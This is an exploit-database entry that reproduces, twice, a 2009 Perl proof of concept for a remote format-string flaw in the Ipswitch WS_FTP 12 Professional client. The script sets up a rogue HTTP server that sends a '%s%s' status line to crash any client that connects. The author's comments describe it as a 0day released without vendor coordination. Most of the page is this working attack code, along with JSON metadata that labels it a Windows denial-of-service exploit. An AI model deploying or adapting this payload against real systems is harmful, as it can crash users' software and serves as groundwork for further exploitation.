Search...

Ipswitch WS_FTP 12 Professional - Remote Format String (PoC)

2009-09-09T00:00:00

ID EXPLOITPACK:B41FD4AEAA0C53FFFB9B69BDFC6BD5C2
Type exploitpack
Reporter Jeremy Brown
Modified 2009-09-09T00:00:00

Description

Ipswitch WS_FTP 12 Professional - Remote Format String (PoC)

                                        
                                            #!/usr/bin/perl
# nocoolnameforawsftppoc.pl
# AKA
# Ipswitch WS_FTP 12 Professional Remote Format String 0day PoC
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009
#
# *********************************************************************************************************
# I really _hate_ releasing proof of concepts. ASCII gets itchy after a few months. And it has been over a
# year since a WS_FTP exploit/PoC has been on milw0rm (as far as I know) (!). Crazy right? This bug was
# found with Hzzp, yes WS_FTP parses HTTP too. Format string in the status code, bang bang. But the problem
# is we can't seem to be able to use %n, which I believe is disabled by default per Microsoft, making
# exploitation more difficult. Hrm. And where is a security contact for Ipswitch? I believe I did try to
# find a reasonable resource. Maybe Ipswitch should just fuzz their products with Hzzp? xD Happy Holidays!
# **********************************************************************************************************
# nocoolnameforawsftppoc.pl

use IO::Socket;

$port    = 80;
$payload = "HTTP/1.1 %s%s\r\n\r\n";

$serv = IO::Socket::INET-&gt;new(Proto=&gt;'tcp', LocalPort=&gt;$port, Listen=&gt;1) or die "Error: listen($port)\n";

$cli = $serv-&gt;accept() or die "Error: accept()\n";

$cli-&gt;recv($buf, 512);
$cli-&gt;send($payload);

close($cli);
close($serv);

# milw0rm.com [2009-09-09]

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:21", "references": [], "description": "\nIpswitch WS_FTP 12 Professional - Remote Format String (PoC)", "edition": 1, "reporter": "Jeremy Brown", "exploitpack": {"type": "dos", "platform": "windows"}, "published": "2009-09-09T00:00:00", "title": "Ipswitch WS_FTP 12 Professional - Remote Format String (PoC)", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:21", "rev": 2}, "score": {"value": -0.3, "vector": "NONE", "modified": "2020-04-01T19:04:21", "rev": 2}, "vulnersScore": -0.3}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2009-09-09T00:00:00", "id": "EXPLOITPACK:B41FD4AEAA0C53FFFB9B69BDFC6BD5C2", "href": "", "viewCount": 1, "sourceData": "#!/usr/bin/perl\n# nocoolnameforawsftppoc.pl\n# AKA\n# Ipswitch WS_FTP 12 Professional Remote Format String 0day PoC\n#\n# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009\n#\n# *********************************************************************************************************\n# I really _hate_ releasing proof of concepts. ASCII gets itchy after a few months. And it has been over a\n# year since a WS_FTP exploit/PoC has been on milw0rm (as far as I know) (!). Crazy right? This bug was\n# found with Hzzp, yes WS_FTP parses HTTP too. Format string in the status code, bang bang. But the problem\n# is we can't seem to be able to use %n, which I believe is disabled by default per Microsoft, making\n# exploitation more difficult. Hrm. And where is a security contact for Ipswitch? I believe I did try to\n# find a reasonable resource. Maybe Ipswitch should just fuzz their products with Hzzp? xD Happy Holidays!\n# **********************************************************************************************************\n# nocoolnameforawsftppoc.pl\n\nuse IO::Socket;\n\n$port = 80;\n$payload = \"HTTP/1.1 %s%s\\r\\n\\r\\n\";\n\n$serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die \"Error: listen($port)\\n\";\n\n$cli = $serv->accept() or die \"Error: accept()\\n\";\n\n$cli->recv($buf, 512);\n$cli->send($payload);\n\nclose($cli);\nclose($serv);\n\n# milw0rm.com [2009-09-09]", "cvss": {"score": 0.0, "vector": "NONE"}}